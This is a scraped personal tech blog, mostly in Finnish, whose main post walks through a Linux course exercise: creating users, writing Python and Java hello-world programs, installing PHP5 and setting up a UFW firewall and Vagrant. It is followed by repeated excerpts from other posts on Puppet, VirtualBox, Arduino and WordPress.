Ja lopuksi testataan toimivuus avaamalla selain osoitteeseen http://localhost/~omakäyttäjätunnus</a>:</p>
</p>
Käyttäjien luominen</h3>
Ennen kuin aloitetaan käyttäjätunnusten luominen, tehdään /etc/skel –hakemistoon public_html –hakemisto. Tällä tavoin saadaan uusille käyttäjille valmiiksi tuo kotisivuhakemisto eikä sitä tarvitse itse jälkeenpäin luoda.</p>
sudo mkdir /etc/skel/public_html</span></span></code></pre>
Käyttäjätunnusten luominen onnistuu nopeasti komentoriviltä komennolla</p>
sudo adduser <käyttäjätunnus></span></span></code></pre>
Jonka jälkeen ohjatusti pyydetään syöttämään tarvittavat tiedot. Lopussa lista käyttäjistä, tunnuksista ja salasanoista jota tehtävässä tehtiin.</p>
Samalla kun tuon public_html-hakemiston teki /etc/skel-hakemistoon, olisi voinut laittaa hakemistoon valmiiksi index.html-tiedoston jotta sekin olisi kopioitunut valmiiksi kaikille uusille käyttäjille.</p>
Maijan Python-ohjelma</h3>
Tehtävässä pyydettiin tekemään Maijan kotihakemistoon ”starsign”-nimisen ohjelman hakemisto johon tuli lähdekooditiedosto, lisenssitiedosto ja readme-tiedosto. lähdekooditiedostoon ”starsign.py” syötin nanolla seuraavanlaisen rivin:</p>
print ”Hei, maailma!”</span></span></code></pre>
Sitten kokeilin toimivuuden ajamalla ohjelman:</p>
python starsign.py</span></span></code></pre>
Tuloksena ohjelma tulosti näytölle ”Hei, maailma!”:</p>
</p>
Lisenssitiedoston hain suoraan gnu.orgista ja nimesin sen uudelleen:</p>
wget <a href="http://www.gnu.org/licenses/gpl-3.0.txt">http://www.gnu.org/licenses/gpl-3.0.txt</a></span></span>
mv gpl-3.0.txt LICENSE</span></span></code></pre>
Lopuksi tein vielä Maijalle README-tiedoston nanolla.</p>
Elmerin Java-ohjelma</h3>
Elmerille tehtiin java-ohjelma ”randomwalk” hänen kotihakemistoonsa. Aluksi tein hakemiston sovellukselle ja sinne ”randomwalk.java” tiedoston, joka tulostaa ”Hei, maailma!” ajettaessa:</p>
System.out.println(”Hei, maailma!”);</span></span></code></pre>
Yrittäessäni ajaa Elmerin sovellusta, tuli ilmoitus että java ei ole asennettuna:</p>
</p>
Onneksi hätä ei ole suuri, kirjaudutaan vain tunnuksilla joilla on sudo-oikeudet javan asennusta varten ja asennetaan se:</p>
sudo apt-get install default-jre default-jdk</span></span></code></pre>
Tämän jälkeen kirjauduin takaisin Elmerin tunnuksilla, käänsin lähdekoodin ja ajoin käännetyn binäärin:</p>
javac randomwalk.java</span></span>
java randomwalk</span></span></code></pre>
Ohjelma toimi ja tulosti näytölle ”Hei, maailma!”.</p>
Palomuurin asennus</h3>
</p>
Palomuurin konfigurointia varten asensin graafisen GUFW-ohjelman koneelle. Ohjelma on erittäin helppokäyttöinen, määritä vain säännöt halutuille palveluille ja käynnistä muuri. Olen aikaisemmin käyttäny Firestarteria iptablesin konfigurointiin, mutta pikaisen googletuksen myötä sain tietää sen olevan vanhentunut nykyisin. Säännöiksi määrittelin ulkoa pääsyn SSH:n sekä http:hen.</p>
Veikon PHP-sivusto</h3>
Veikkoa varten täytyi koneelle asentaa ensiksi PHP5 jotta hänen hienot sivunsa näkyisivät. Asennus onnistuu komennolla</p>
sudo apt-get install php5</span></span></code></pre>
Kommentoidaan userdir-määritykset pois /etc/apache2/mods-enabled/php5.conf-tiedostosta jotta Veikko voi käyttää php:tä kotisivuillaan:</p>
</p>
Lopuksi tehdään veikon public:_html-hakemistoon index.php-tiedosto johon laitetaan lähdekoodi:</p>
</p>
Tulosteet</h1>

tunnukset</a></li>
ls -lR /home/</a></li>
curl-tulosteet (Elmeri Ångström</a>, Maija Mehiläinen</a>, Veikko Hurme</a>, Almond Lorenz</a>, Per Åkker</a>)</li>
Hei, maailmat ( Maija, Elmeri)</a></li>
Tiedostot zippinä</a></li>
sudo ufw status verbose</a></li>
Apache2 enabled mods</a></li>
last -30</a></li>
tail -20 passwd</a></li>
tail apache logs</a></li>
auth.log</a></li>
tail syslog</a></li>
history</a></li>
</ol>
Lisätehtävä: Laitetietojen listaus tietokoneesta (lshw)</h1>
Laitetietojen listaus onnistuu näppärästi seuraavalla komennolla:</p>
sudo lshw</span></span></code></pre>
Komento tulostaa näytölle mm. koneen mallitiedot, sarjanumeron, biosin versiotiedot sekä emolevyn, prosessorin, näytönohjaimen, kovalevyjen ja muun laitteiston tiedot. Listauksesta saa selville kaiken tiedon mitä laitteistoa tietokoneessa on.</p>
Esimerkki lshw-tulosteesta</a></p>
Lisätehtävä: Vagrantin asennus ja virtuaalipalvelimen teko</h1>
Vagrantin asennus onnistuu helposti suoraan Ubuntun pakettirepoista:</p>
sudo apt-get install vagrant</span></span></code></pre>
Vagrantin sivuilta</a> löytyy hyvät ohjeet alkuun pääsemiseksi. Tässä esimerkissä tehdään Vagrantin ohjeen mukaan ja haetaan Vagrantin palvelimelta valmis “konepaketti”:</p>
vagrant box add lucid32 <http://files.vagrantup.com/lucid32.box></span></span></code></pre>
Tämän jälkeen konfiguroidaan paketti käynnistystä varten ja käynnistetään se:</p>
vagrant init lucid32</span></span>
vagrant up</span></span></code></pre>
Jos kaikki meni putkeen eikä virheilmoituksia tullut, virtuaalikone on nyt käynnissä! Nyt voimme avata SSH-yhteyden virtuaalikoneeseen:</p>
vagrant ssh</span></span></code></pre>
Lopputuloksena toimiva virtuaalikone johon on ssh yhteys:</p>
</p>
SSH-yhteyden avulla voisi virtuaalikoneeseen konfiguroida esimerkiksi Apachen ja sen avulla pyörittää nettisivuja.</p>
Lähteet</h1>

Vagrant Getting Started (http://docs.vagrantup.com/v1/docs/getting-started/index.html</a>)</li>
“Hello, World!”: A Quick Tutorial on Python (http://python.about.com/od/gettingstarted/ss/helloworld_all.htm</a>)</li>
Tero Karvinen: Työasemat ja tietoverkot 24 – Linux-koe (http://terokarvinen.com/2011/tyoasemat-ja-tietoverkot-24-koe</a>)</li>
</ul>

Joni Junni

Disabling Type 2 Protection in SAS HDDs

Creating a MariaDB database and user from CLI

Replacing default Samsung Emoji emoticons with Google Emojis on rooted Samsung Note 3

Linux centralized management: Creating a puppet test environment based on production server - Part 1

Creating a puppet test environment based on production server - Part 1</h1> I decided to do few modules that will build an identical server configuration based on a production server of mine.</p> First I created a project folder where all the project files are created.</p>

Creating the Vagrantfile for the environment</h2> nano Vagrantfile</code></p> I wrote a Vagrantfile that creates one virtual machine where all the modules will be run:</p>

Creating Apache module with virtual hosts</h2> I created a new module called apache which will install Apache and with a defined type vhost allow creating of virtualhosts for Apache.</p> First I created the default module directory structure:</p>

Linux project: Setting up Vagrant development environment, project wrap-up

Sources</h3> Vagrant Docs for version 1.0.1 (http://docs-v1.vagrantup.com/v1/docs/index.html</a>)</li> </ul>

Linux project: Testing Virtualbox on Xubuntu 12.04

Testing Debian on Virtualbox</h3> I created a new virtual machine by selecting “New”. I created a Debian test machine with the following settings:</p>

Testing Windows guest on VirtualBox</h3> I also tested Virtualbox with a Windows 2008R2 guest with the following specs on the VM:</p>

Conclusion</h3> Virtualbox is a simple way to run virtual machines graphically. For our purposes we will be using Vagrant and Virtualbox together as the final development environment. We will run Linux boxes in Vagrant and Windows machines on Virtualbox.</p>

Sources</h3> Oracle Virtualbox Official site (https://www.virtualbox.org/</a>)</li> </ul> </p>

Linux project: Setting up Vagrant on Ubuntu 12.04

Installing Vagrant and Virtualbox</h3> First up when starting this project you have to install Virtualbox first.</p> You can do it easily from terminal using command:</p>

Creating a Vagrant project</h3> When you are setting your project up Vagrant has built-in command to get all working first you have to create directory for it:</p>

Sources</h3> Vagrant Getting Started Guide (http://docs.vagrantup.com/v2/getting-started/index.html</a>)</li> </ul>

Linux project: Installing, configuring and testing OpenStack on Ubuntu Server 12.04.3

Windows guest compatibility</h3> OpenStack can host Windows guest VM’s, but based on my research they are quite complicated to get them up and running on the platform. If you want to get Windows instances running on OpenStack, I recommend watching this presentation:</p>

Linux centralized management: Installing SSH with Puppet parameterized classes

Sources</h3> Learning Puppet – Class Parameters (http://docs.puppetlabs.com/learning/modules2.html</a>)</li> Tero Karvinen: Linux Centralized Management Lecture 4 (http://terokarvinen.com/2013/aikataulu-%E2%80%93-linuxin-keskitetty-hallinta-%E2%80%93-ict4tn011-4-syksylla-2013</a>)</li> </ul>

Linux centralized management: Configuring Puppetmaster and client-server testing

Linux centralized management: Installing PuppetMaster and configuring client-server setup on Debian 7

Installing Puppetmaster</h3> On the master server I installed Puppetmaster and configured it:</p>

Configuring client machines</h3> On the client machines you need to install Puppet, configure it to connect to server and set it to start automatically:</p>

Linux centralized management: Installing and configuring Apache2 with Puppet module

Installing and starting Apache with a Puppet module</h3> First I created the usual module directory structure:</p>

Adding a modified config file</h3> First create a templates-directory to module root:</p>

Linux centralized management: Puppet: Using Templates and Facter facts

Linux project: From VMWare ESXi-system to open source alternatives

Milestonet</h3>

Viikko 49</h4> Projektin DL 4.12.2013!</strong></li> Viilataan demot ja esitys kuntoon</li> </ul> Viikko 50</h4> Esitys?</li> </ul> Viikko 51</h4> Esitys?</li> </ul>

Viikko 50</h4> Esitys?</li> </ul> Viikko 51</h4> Esitys?</li> </ul>

Viikko 51</h4> Esitys?</li> </ul>

Linux centralized management: Some Puppet module testing

Installing a software package</h3> Next I tested if I could simply install Apache Web Server to my VM and check that it was started.</p> Again I created a new directory structure with the following command:</p>

Conclusion</h3> As I made these tests on my test VM, I was amazed how simple it was to make these config files. It took me less than an hour to do all this, including writing this post which took most of the time.</p>

Linux centralized management: Installing and testing Puppet on Debian 7

Installing Puppet client</h2> Installing the client is easy and can be installed straight from apt:</p>

Installing PDF Viewer to SRWare Iron on Mac

Projektityö: Varashälytin Arduinolla

Arduinon pinnijärjestys</h2> Arduinon lähes kaikki digitaalipinnit ovat käytössä. Seuraavassa lista pinneistä ja mihin ne on kytketty:</p>

Sarjaporttikommunikaatio tietokoneen kanssa</h2> Varashälytin kommunikoi tietokoneen kanssa sarjaportin yli lokitiedoston kirjoittamista sekä varoitusviestin lähettämistä varten. Määritin varashälyttimen koodiin seuraavanlaiset komennot jota se voi tietokoneelle lähettää:</p>

Arduino: Tehtävän ajastus arduinolla

Arduino-projekti: Varashälytin näytöllä ja RFID-aktivoinnilla

Tarvittavat osat</h2> Arduino</li> LCD-näyttö</li> Liiketunnistin (PIR)</li>

Prototyypin rakentaminen: LCD-näytöt ja sarjaporttiliikenne

Koodi näytön ohjaamiseen sarjakonsolista</h1> Hetken yrityksen ja erehdyksen kautta sain seuraavanlaisen koodin tehtyä joka lukee sarjakonsolista tekstiä ja syöttää sen Arduinoon kytketylle näytölle:</p>

Prototyypin rakentaminen: RFID-sensori Arduinolla

Koodi</h1> Alla on toimiva versio RFID-lukijakoodista johon on lisättynä pääsyindikaattoriledit.</p>

Prototyypin rakentaminen: Servojen ohjaus

Servon ohjaaminen manuaalisesti pulsseilla</h1> Servoa on myös mahdollista ohjata itse syöttämällä sille digitalWrite-funktiolla pulsseja tuohon pulse-johtoon. Seuraavalla koodilla sain servon liikkumaan puoli senttiä edestakaisin:</p>

Prototyypin rakentaminen: Arduinon kehitysympäristön pystyttäminen Macille

Prototyypin rakentaminen: Yksinkertaiset liikennevalot Arduinolla

Lopputulos</h1> Lopputuloksena on toimivat liikennevalot ledeistä jotka vaihtuvat omaa tahtia:</p> </p> </p>

Linux palvelimena: deb-paketin teko ja repositoryn luominen

Shell-skriptin paketointi</h1> Aloitin tekemällä kotihakemistoon hello-world.sh</strong>-nimisen esimerkkiskriptin komenolla</p>

Linux palvelimena: Web-palvelimen optimointi Varnishilla

Varnishin asennus</h1> Asensin Varnishin komennolla:</p>

ISO-tiedostojen välimuistittamisen ohitus Varnishista</h2> Yritin muuttaa default.vcl-tiedostoa niin että Varnish cachettaisi niitä välimuistiin vaan lataisi ne suoraan Apachesta. Laitoin seuraavan rimpsun tiedostoon:</p>

Linux palvelimena: LAMP-stackin ja WordPressin asennus & konfigurointi

Uuden virtuaalikoneen luominen</h2> Lisäsin Virtualboxiin uuden virtuaalikoneen ja käytin pohjana Ubuntun asetuksia jotka konfigurointivelho valitsi automaattisesti. Asetuksiksi määritin seuraavat:</p>

LAMP asennus</h1> Aloitin asentamalla SSH-daemonin virtuaalikoneeseen jotta voin käyttää konetta Puttyn kautta:</p>

WordPressin asennus</h1> Hain WordPressin asennuspaketin ja purin paketin ja siirsin puretut tiedostot public_html-hakemistoon komennoilla:</p>

Esimerkkipostauksen teko, teeman vaihto</h2> Teeman vaihto WP:ssä onnistuu Dashboardin Ulkoasu -> Teemat-valikon kautta. Esimerkkiartikkeli luotuna ja teema vaihdettuna:</p> </p>

WordPressin varmuuskopioiminen</h2> WordPressin varmuuskopioiminen onnistuu näppärästi Dasboardin kautta Työkalut -> Vie</strong> -valikosta. Valitsin kopioitavaksi kaiken sisällön.</p>

Linux palvelimena: Apache ja virtualhostit

Virtuaalikoneen luominen ja asentaminen harjoitusta varten</h1> Tein hostille uuden virtuaalikoneen seuraavanlaisilla spekseillä:</p>

Virheilmoitukset</h1>

Linux palvelimena: palvelinmurron tutkintaa

Sources</h3>

Vagrant Docs for version 1.0.1 (http://docs-v1.vagrantup.com/v1/docs/index.html</a>)</li> </ul>

Conclusion</h3>
Virtualbox is a simple way to run virtual machines graphically. For our purposes we will be using Vagrant and Virtualbox together as the final development environment. We will run Linux boxes in Vagrant and Windows machines on Virtualbox.</p>

Sources</h3>

Oracle Virtualbox Official site (https://www.virtualbox.org/</a>)</li> </ul>
</p>

Sources</h3>

Vagrant Getting Started Guide (http://docs.vagrantup.com/v2/getting-started/index.html</a>)</li> </ul>

Windows guest compatibility</h3>
OpenStack can host Windows guest VM’s, but based on my research they are quite complicated to get them up and running on the platform. If you want to get Windows instances running on OpenStack, I recommend watching this presentation:</p>

Sources</h3>

Learning Puppet – Class Parameters (http://docs.puppetlabs.com/learning/modules2.html</a>)</li>
Tero Karvinen: Linux Centralized Management Lecture 4 (http://terokarvinen.com/2013/aikataulu-%E2%80%93-linuxin-keskitetty-hallinta-%E2%80%93-ict4tn011-4-syksylla-2013</a>)</li> </ul>

Viikko 49</h4>

Projektin DL 4.12.2013!</strong></li>
Viilataan demot ja esitys kuntoon</li> </ul>
Viikko 50</h4>

Esitys?</li> </ul>
Viikko 51</h4>

Esitys?</li> </ul>

Viikko 50</h4>

Esitys?</li> </ul>
Viikko 51</h4>

Esitys?</li> </ul>

Viikko 51</h4>

Esitys?</li> </ul>

Conclusion</h3>
As I made these tests on my test VM, I was amazed how simple it was to make these config files. It took me less than an hour to do all this, including writing this post which took most of the time.</p>

Lopputulos</h1>
Lopputuloksena on toimivat liikennevalot ledeistä jotka vaihtuvat omaa tahtia:</p>
</p>
</p>

Esimerkkipostauksen teko, teeman vaihto</h2>
Teeman vaihto WP:ssä onnistuu Dashboardin Ulkoasu -> Teemat-valikon kautta. Esimerkkiartikkeli luotuna ja teema vaihdettuna:</p>
</p>

WordPressin varmuuskopioiminen</h2>
WordPressin varmuuskopioiminen onnistuu näppärästi Dasboardin kautta Työkalut -> Vie</strong> -valikosta. Valitsin kopioitavaksi kaiken sisällön.</p>